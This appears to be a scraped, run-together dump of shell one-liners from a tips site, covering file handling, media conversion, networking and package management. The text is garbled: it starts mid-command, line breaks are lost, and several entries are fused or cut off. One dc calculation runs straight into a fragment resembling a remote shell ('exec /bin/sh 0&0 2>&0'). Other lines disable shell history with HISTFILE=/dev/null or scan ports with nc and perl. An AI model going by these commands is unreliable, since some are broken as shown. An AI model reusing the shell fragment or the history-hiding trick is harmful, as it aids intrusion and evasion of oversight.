's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/' # find available cpu frequencies on FreeBSD sysctl dev.cpu.0.freq_levels # Directory bookmarks bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark name missing"} ; } # bash or tcsh redirect both to stdout and to a file echo "Hello World." | tee -a hello.txt # list all opened ports on host time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; } # remove oprhan package on debian based system sudo deborphan | xargs sudo apt-get -y remove --purge # Turns hidden applications transparent in the Mac OS X dock. defaults write com.apple.Dock showhidden -bool YES # MoscowML with editable input-line and history rlwrap mosml # Get first Git commit hash git log --pretty=format:%H | tail -1 # List only locally modified files with CVS cvs -Q status | grep -i locally # find files containing text grep -lir "sometext" * > sometext_found_in.log # converting vertical line to horizontal line tr '\n' '\t' < inputfile # Count the number of man pages per first character (a-z) for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }{print $1, "\t"}' && echo $i ;done # List files with quotes around each filename ls | sed 's,\(.*\),"\1",' # Get a Bulleted List of SVN Commits By a User for a Specifc Day (Daily Work Log )svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p' | grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g' # Backup your LDAP slapcat -n 1 > /backup/`date "+%Y%m%d"`.ldif # Quick find function quickfind () { find . -maxdepth 2 -iname "*$1*" } # Right-align text in console using pipe like ( command | right ) $ right(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;}; ls --color=none / | right # Print unique ipaddresses as they come in from Apache Access Log File tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}' # Replace spaces in a file with hyphens sed -i 's/ /-/g' * # get stdout to variable and stdout at sametime { var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var" # find files beginning with filename* that do not include "string" grep -L "string" filename* # A signal trap that logs when your script was killed and what other processes w ere running at that timetrap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP # Get all IPs via ifconfig ifconfig | awk -F':| +' '/ddr:/{print $4}' # Searches $PATH for files using grep IFS=:; find $PATH | grep pattern # Change wallpaper feh --bg-scale /path/to/wallpaper.jpg # to see about php configure $php_dir/bin/php -i | grep configure # Change the console keyboard layout loadkeys uk # Arch Linux sort installed packages by size pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2 # Recursive replace of directory and file names in the current directory. find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh # Take a file as input (two columns data format) and sum values on the 2nd colum n for all lines that have the same value in 1st columnawk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file # Check whether laptop is running on battery or cable acpi -a # apt-get upgrade with bandwidth limit trickle sudo apt-get update -y # find files ignoring .svn and its decendents find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ] # Get your external IP address curl http://my-ip.cc/host.txt # Display / view the contents of the manifest within a Java jar file $ unzip -p some-jar-file.jar META-INF/MANIFEST.MF # Function to split a string into an array Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; } # See all the commits for which searchstring appear in the git diff git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/' # Check if the Debian package was used since its installation/upgrade. package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list | (while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %X); if [ $inst -lt $acc ]; then echo used $file; exit 0; fi; fi; done; exit 1) # find files ignoring .svn and its decendents find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ... # Basic port scanner perl perl -MIO::Socket::INET -e '{ print "PORT 22 is open\n" if ( IO::Socket::INET->new(PeerAddr=>"127.0.0.1:22",Proto=>'tcp',Timeout=>1)) ;}' # convert wmv into xvid avi format mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi # Trim png files in a folder mogrify -trim *png # list services running (as root) service --status-all | grep running # Have netcat listening on your ports and use telnet to test connection SERVER: nc -l p 666 CLIENT: telnet -l -p 666 # GZip all files in a directory separately ls | xargs -n1 gzip # DVD-Rip mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg && ffmpeg -i "$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec libx264 -crf 26 -vpre hq -threads 0 "$dirDestino/$tituloDVD.mp4" # add a backup (or any other) suffix to a file mv -vi file{,~} # GZip all files in a directory separately gzip * # Copy a file using dc3dd and watch its progress (very nice alternative to dd) dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null # get detailed info about a lan card on HP-UX 11.31 nwmgr -q info -c lan0 # Check the package is installed or not. There will show the package name which is installed.dpkg -l | cut -d' ' -f 3 | grep ^python$ # View a sopcast stream (sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf # Terminal Escape Code Zen - Strace and Tput termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';} # find all active IP addresses in a network ping -c2 192.168.1.255 >/dev/null; arp -a # Number of CPU's in a system grep -c ^processor /proc/cpuinfo # Compress a file or directory keeping the owner and permissions tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/ # Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]" # Execute a command before display the bash prompt PROMPT_COMMAND=command # Get listening ports on a localhost ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)$/\1/' # strace like SystemTap script stap -v strace.stp -c /path/to/command # Recursive replace of directory and file names in the current directory. for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done # Cleanup firefox's database. find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \; # List users with running processes ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u # Email yourself a quick message mailme(){ mailx -s "$@" $USER <<< "$@"; } # List open sockets protocol/address/port/state/PID/program name sudo netstat -punta # Pipe a textfile to vim and move the cursor to a certain line zcat /usr/share/doc/vim-common/README.gz | vim -g +23 - # Use vi commands to edit your command lines set -o vi; ls -l jnukbCjunk # Create a directory and go inside it mkdir dir; cd $_ # Kill multiple instances of a running process killall -9 rouge-process # Rotate a pdf by 90 degrees CW pdftk input.pdf cat 1-endE output output.pdf # Get the SUM of visual blocked digits in vim vmap y:$omap:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'dd'>p # Sort a character string echo sortmeplease | grep -o . | sort | tr -d '\n'; echo # How to check network connection from one interface ping -I eth0 www.yahoo.com # save a manpage to plaintext file man -P cat ls > man_ls.txt # Adding specific CustomLog for each Virtual Domain of Apache for arquivo in `ls -1` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog \/var\/log\/apache2\/access_'"$file"'_log combined' /root/site-bak/${file} ; done # Get duration of an audio file in seconds. get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; } # Bypass 1000 Entry limit of Active Directory with ldapsearch ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt # Determine next available UID awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}else{print x; exit;}}}' /etc/passwd # Best option set for 7zip compression of database dumps or generic text files 7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql # Ask user to confirm Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *) false ;; esac } # m4a to mp3 conversion with ffmpeg and lame ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3 # Show word-by-word differences between two latex files, in color dwdiff -c a.tex b.tex | less -R # Extract audio from a video ffmpeg -i input.mp4 -vn -acodec copy output.m4a # Show directories ls -l | grep ^d # count how many cat processes are running ps -a | grep -c cat # Apply fade effect to a audio sox input.mp3 output.mp3 fade h 5 00:02:58 5 # socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIX-CONNECT:/var /run/mysqld/mysqld.sock"'Tunnel a MySQL server listening on a UNIX socket to the local machine # find distro name / release version $ cat /etc/*-release # Combine two mp3's or more into 1 long mp3 cat 1.mp3 2.mp3 > combined.mp3 # Last month LASTMONTH=`date -d "last month" +%B` # Cleanup debian/ubuntu package configurations dpkg -l |grep ^rc |awk '{print $2}' |xargs sudo dpkg --purge # Tell what is encoded in a float, given its HEX bytes dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP Indef.]n]sQ[dls2//2%_2*53+an[NaN]ndle4*1-ls2/*=Q2Q]sN[1sqdls%0&0; exec 2>&0; exec /bin/sh 0&0 2>&0 # Test python regular expressions rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; } # Show available conversions recode -l |less # disable history for current shell session HISTFILE=/dev/null # Pull git submodules in parallel using GNU parallel parallel -j4 cd {}\; pwd\; git pull :::: <(git submodule status | awk '{print $2}') # converts a directory full of source tarballs into a bzr repository so you can compare different versions easilybzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done # Show every subdirectory (zsh) ls -ld **/*(/) # Top ten memory hogs ps -eorss,args | sort -nr | pr -TW$COLUMNS | head # Set gnome wallpaper to a random jpg from the specified directory gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`" # download the contents of a remote folder in the current local folder wget -r -l1 -np -nd http://yoururl.com/yourfolder/ # Use md5sum to check your music and movie files. Also use diff. find . -type f -exec md5sum {}\; > # Watch and cat the last file to enter a directory watch "cat `ls -rcA1 | tail -n1`" # debian/ubuntu get installed nvidia driver version from terminal dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]//g' # To find the LDAP clients connected to LDAP service running on Solaris netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u # Adding Color Escape Codes to global CC array for use by echo -e declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done # dump the whole database mysqldump -u UNAME -p DBNAME > FILENAME # Greets the user appropriately echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ]; then echo "Good $g"; break; fi; done # ssh X tunneling over multiple ssh hosts (through ssh proxy) ssh -t -X -A user@sshproxy ssh -X -A user@sshhost # Count lines of source code excluding blank lines and comments sloccount # return a titlecased version of the string[str.title() in python] title() { sed 's/\<\w*/\u&/g' <<<$@; } # This allows you to find a string on a set of files recursivly grep -rF --include='*.txt' stringYouLookFor * # print a python-script (or any other code) with syntax-highlighting and no loss of indentationa2ps -R --columns=1 -M A4 myprog.py -o - |lpr # Count all the files in the directory and child directories ls -d */* | wc -l # View internet connection activity in a browser lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html # Encode text in Base64 using Perl perl -e 'use MIME::Base64; print encode_base64("encode me plz");' # Url Encode echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g' # Bulk renames with find, sed and a little escaping find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \; # find out zombie process ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z # Clean the /boot directory rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y # Join a folder full of split files for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done # Send a local file via email echo "see attached file" | mail -a filename -s "subject" email@address # Find all files containing a word find . -name "*.php" | xargs grep -il searchphrase # dump the whole database mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE # Dump snapshot of UFS2 filesystem, then gzip it dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz # CLI Visual Apache Web Log Analyzer goaccess -f /var/log/apache2/access.log -s -b # Summarize the number of open TCP connections by state netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r # Display formatted routes routel # validate xml in a shell script using xmllint xmllint --noout some.xml 2>&1 >/dev/null || exit 1 # Find all files containing a word grep -rHi searchphrase *.php # Url Encode uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done } # Count the frequency of every word for a given file cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn # Update Ogg Vorbis file comments for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' | vorbiscomment -w "$f"; done # Access partitions inside a LVM volume kpartx -a /dev/mapper/space-foobar # split a file by a specific number of lines csplit -k my_file 500 {*} # Get IP from hostname ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' # Clean all .pyc files from current project. It cleans all the files recursively .find . -type f -name "*.pyc" -delete; # Mac OS X - List all of my machine's IP addresses ifconfig | awk '/inet / {print $2}' # Less a grep result, going directly to the first match in the first file argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest` # Copy files to a remote host with SFTP with a leading dot, then rename them to the real file namesftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".$each\" \"$each\""; done }; # Update twitter with curl tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d status="$update" http://twitter.com/statuses/update.xml ->/dev/null || echo $(( ${#update} - 140 )) too many characters >&2; } # Fire CMD every time FILE (or directory) is updated (on *BSD) f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `$c`;t=`$s`;fi;done # find/edit your forgotten buddy pounces for pidgin vim ~/.purple/pounces.xml # Show battery infomations for OS X 10.5.x system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full charge capacity|Condition" | sed -e 's/^[ \t]*//' # Function to output an ASCII character given its decimal equivalent chr() { printf \\$(printf %o $1); } # add an mp3 audio track to a video mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi # ps for windows wmic process list IO # List Threads by Pid along with Thread Start Time ps -o pid,lwp,lstart --pid 797 -L # set your screensaver as your desktop background MAC OSX /System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background & # Find out when your billion-second anniversary is (was). date -d12/31/1970+1000000000sec # Short Information about loaded kernel modules lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g' # convert video format to youtube flv format ffmpeg -i Your_video_file -s 320x240 FILE.flv # Quick searching with less zcat file.gz | less +/search_pattern # Watch RX/TX rate of an interface in kb/s while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2=$10; printf "in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}' # Get My Public IP Address curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' # Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have good mp3swget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt # Run a bash script in debug mode, show output and save it on a file bash -x test.sh 2>&1 | tee out.test # calulate established tcp connection of local machine netstat -an | grep -Ec '^tcp.+ESTABLISHED$' # Function to output an ASCII character given its decimal equivalent chr () { echo -en "\0$(printf %x $1)"} # Log colorizer for OSX (ccze alternative) tail -f /var/log/system.log | colorizer # Get information on your graphics card on linux (such as graphics memory size) lspci -v -s `lspci | awk '/VGA/{print $1}'` # Perl one-liner to determine number of days since the Unix epoch perl -e 'printf qq{%d\n}, time/86400;' # apt-get via sudo apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" } # Send test prints to networked printer. echo "test" | lp -d $PRINTER # View an info page on a nice interface yelp info:foo # Install an mpkg from the command line on OSX sudo installer -pkg /Volumes/someapp/someapp.mpkg -target / # List all installed Debian packages dpkg --get-selections | grep -v deinstall | cut -f 1 # get the ascii number with bash builtin printf printf "%d\n" "'A" "'B" # move all files older than 60 days to a folder find ./* -mtime +60 -exec mv {} storeFolder \; # Are the two lines anagrams? anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }; anagram foobar farboo; # cd into the latest directory alias cd1='cd $( ls -lt | grep ^d | head -1 | cut -b 51- )' # Find out when your billion-second anniversary is (was). (on OS X) date -j -v +1000000000S -f %m%d%Y mmddyyyy # Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' # For finding out if something is listening on a port and if so what the daemon is.sockstat -4l # To get the CPU temperature continuously on the desktop while sleep 1; do acpi -t | osd_cat -p bottom; done & # change microdvd subtitles framerate cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+)}/=2=/; $f2=(24/25*$1); $f1=~s/\..*//; $f2=~s/\..*//; s/=1=/{$f1}/; s/=2=/{$f2}/; ' > subtitles_newfps.txt # Find out when your billion-second anniversary is (was). date -j -v +1000000000S -f %m%d%Y mmddYYYY # Get decimal ascii code from character echo -n a | od -d | sed -n "s/^.* //gp" # Short Information about loaded kernel modules lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d # Easily decode unix-time (funtion) utime(){ date -d "1970-01-01 GMT $1 seconds"; } # find the biggest file in current folder ls -S|head -1find # Find Out My Linux Distribution Name and Version lsb_release -ri # Watch YouTube and other Flash videos via mplayer (or whatever) mplayer $(ls -t /tmp/Flash*|head -1) # txt2html recode ..HTML < file.txt > file.html # bash/ksh function: given a file, cd to the directory it lives function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd } # Search for a string inside all files in the current directory find . -type f -exec grep -i \; # rotate the compiz cube via command line wmctrl -o 1280,0 # Create commands to download all of your Google docs google docs list |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ docs\ get\ /|awk ' {print $0,"."}' # Set OS X X11 to use installed Mathematica fonts xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/ # Real time duplication of Apache app traffic to a second server nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{print $7}' | grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null' # Text to image with transparent background convert -background none -pointsize 55 label:"`whoami`" me.png # Throttling Bandwidth On A Mac sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80 # Access to specific man page section man 5 crontab # Search for a string inside all files in the current directory ack # Testing hard disk writing speed time dd if=/dev/zero of=TEST bs=4k count=512000 # Easily decode unix-time (funtion) utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y', time.localtime($1)))"; } # Print all environment variables, including hidden ones for _a in {A..Z} {a..z};do _z=\${!${_a}*};for _i in `eval echo "${_z}"`;do echo -e "$_i: ${!_i}";done;done|cat -Tsv # log rm commands function rm { workingdir=$( pwdx $$ | awk '{print $2}' ) /usr/bin/rm $* echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}" >> /tmp/rm.out } # Text message on wallpaper wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg"; } # Search for a string inside all files in the current directory grep -r * .[!.]* # Show numerical values for each of the 256 colors in ZSH for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done # Convert ascii string to hex echo "text" | hd # Kill all Zombie processes if they accept it! kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'` # Find Out My Linux Distribution Name and Version cat /etc/issue # Get rid from a blank display without reboot killall5 # Quick syntax highlighting with multiple output formats $ python -m pygments -o source.html source.py # Clone / find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o -path ./proc -prune -o -print | cpio -pumd /destination && mkdir /destination/mnt/ && mkdir /destination/proc && mkdir /destination/sys # cd into another dir to run a one-liner, but implicitly drop back to your $OLD_ PWD after( cd $DIR; command; ) # burn backed up xbox 360 games growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso # Delete more than one month old thumbnails from home directory find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm # bash function to check for something every 5 seconds function checkfor () { while :; do $*; sleep 5; done; } # Normalize volume in your mp3 library find . -type f -name '*.mp3' -execdir mp3gain -a '{}' + # watch snapshots commit in VMware ESX watch 'ls -tough --full-time *.vmdk' # tar pipe to copy files, alternate to cp -Ra (cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -) # Compare copies of a file with md5 diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut -d " " -f 1);echo $? # Doing some floating point calculations with rounding (e.g. at the 3rd decimal) echo '123/7' |bc -l |xargs printf "%.3f\n" # Open Vim with two windows vim -c new myfile # recursive transform all contents of files to lowercase find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/' # Random IPv4 address perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;' # List all Samba user name pdbedit -w -L | awk -F":" '{print $1}' # find files in a date range touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer end # Show the last 20 sessions logged on the machine last -n 20 # Watching Command watch 'cat /proc/loadavg' # monitor system load tload -s 10 # Get length of current playlist in xmms2 xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g' # Add all unversioned files to svn svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add # find file/dir by excluding some unwanted dirs and filesystems find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print # Automatically connect to a host with ssh once it is online var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var # Mount a windows partition in a dual boot linux installation with write permiss ion...[Read and Write]mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force # Resolve a list of domain names to IP addresses awk < file.name '{ system("resolveip -s " $1) }' # Battery real life energy vs predicted remaining plotted echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt' # Encoding from AVI to MPEG format mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \ -oac copy other_options -o output.mpg # Watch the progress of 'dd' dcfldd if=/dev/zero of=/dev/null # Find the location of the currently loaded php.ini file php --ini # Solaris - check ports/sockets which process has opened /usr/proc/bin/pfiles $PID | egrep "sockname|port" # Testing reading speed with dd sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240` # Mostly silent FLAC checking (only errors are displayed) flac -ts *.flac # concatenate compressed and uncompressed logs zgrep -h "" `ls -tr access.log*` # Purge configuration files of removed packages on debian based systems dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P # Random IPv4 address perl -le '$,=".";print map int rand 256,1..4' # Create a false directory structure for testing your commands for each in /usr/bin/*; do echo $each | sed 's/\/usr\/bin\///' | xargs touch; done # easy C shell math calculators alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l' # Make a statistic about the lines of code find . -type f -name "*.c" -exec cat {} \; | wc -l # postgresql SQL to show count of ALL tables (relations) including relation-size SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_namespace n ON (relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public' ORDER BY relname; # Pass the proxy server address as a prefix to wget http_proxy= wget # Gets the english pronunciation of a phrase say() { local IFS=+;mplayer "http://translate.google.com/translate_tts?q=$*"; } # tar via network tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -" # Find and copy files from subdirectories to the current directory find ./ -iname '*avi' -exec cp {} ./ \; # Show a listing of open mailbox files (or whatever you want to modify it to sho w)lsof | grep "/var/spool/mail/" # Resume an emerge, and keep all object files that are already built FEATURES=keepwork emerge --resume # rename a file to its md5sum md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done # Copy recursivelly files of specific filetypes rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' # finding cr-lf files aka dos files with ^M characters find . -type f -exec fgrep -l $'\r' "{}" \; # Find duplicate files, using sha1 hash for i in $(find . -type f -exec sha1 -r {} \+ |tee .hashes.tmp |awk '{print $1}' |sort |uniq -d); do grep $i .hashes.tmp; echo; done; # auto terminal title change echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007" # Extract icons from windows exe/dll wrestool -x --output . -t14 /path/to/your-file.exe # Change timestamp on a file touch -amct [[CC]YY]MMDDhhmm[.ss] FILE # Get table column names from an MySQL-database in comma-seperated form mysql -u -p -s -e 'DESCRIBE ' | tail -n +1 | awk '{ printf($1",")}' | head -c -1 # perl insert character on the first line on your file perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing # Use tagged vlans sudo vconfig add eth0 [VID] # ignore .DS_Store forever in GIT echo .DS_Store >> ~/.gitignore # Create a tar of directory structure only find . -type d|xargs tar rf ~/dirstructure.tar --no-recursion # return a titlecased version of the string title() { string=( $@ ); echo ${string[@]^} } # count the appearance of a word or a string in a given webpage wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w # badblocks for floppy /sbin/badblocks -v /dev/fd0 1440 # show last revision log on svn update svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r # See multiple progress bars at once for multiple pipes with pv pv -cN orig < foo.tar.bz2 | bzcat | pv -cN bzcat | gzip -9 | pv -cN gzip > foo.tar.gz # Remove all the files except abc in the directory rm ^'name with spaces' # dhcdrop - testing/suppression/tracking false DHCP servers sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55 # Compress archive(s) or directory(ies) and split the output file rar a -m5 -v5M -R myarchive.rar /home/ # Limit the rate of traffic to a particular address with tc. tc qdisc add dev root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class add dev parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded isolated;tc filter add dev parent 1: protocol ip prio 16 u32 match ip dst flowid 1:1 # How To Get the Apache Document Root awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default # Countdown Clock MIN=10 && for i in $(seq $(($MIN*60)) -1 1); do printf "\r%02d:%02d:%02d" $((i/3600)) $(( (i/60)%60)) $((i%60)); sleep 1; done # Set keyboard layout in X setxkbmap it # Show seconds since modified of newest modified file in directory FILE=`ls -ltr /var/lib/pgsql/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIME=`stat -c %Y /var/lib/pgsql/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-TIME)) # List of countries curl -s http://www.infoplease.com/countries.html | grep "#\n#g' | cut -f 1 -d\< | grep -v "^\ \ *$" # Automagically create a /etc/hosts file based on your DHCP list (only works on Linksys WRT54G router)curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '' | sed 's|\t\r|\1|' | tr '\n' ';' | sed 's/\([^;]*\);\([^;]*\);/\2\t\1\n/g' # sorted list of dhcp allocations grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n | uniq # Stream and save Youtube video wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S3O9qi2E2U'` -O - | tee -a parachute-ending.flv | mplayer -cache 8192 - # Show seconds since modified of newest modified file in directory ls -atr /home/reports/*.csv -o --time-sty=+%s | tail -1 | awk '{print systime()-$5}' # Remove old kernels and header data in Ubuntu/Debian sudo apt-get -y purge $(dpkg --get-selections | awk '((/^linux-/) && (/[0-9]\./) && (!/'"`uname -r | sed "s/-generic//g"`"'/)) {print $1}') # How many world writeable files on your system? (Mandriva Linux msec) # wc -l 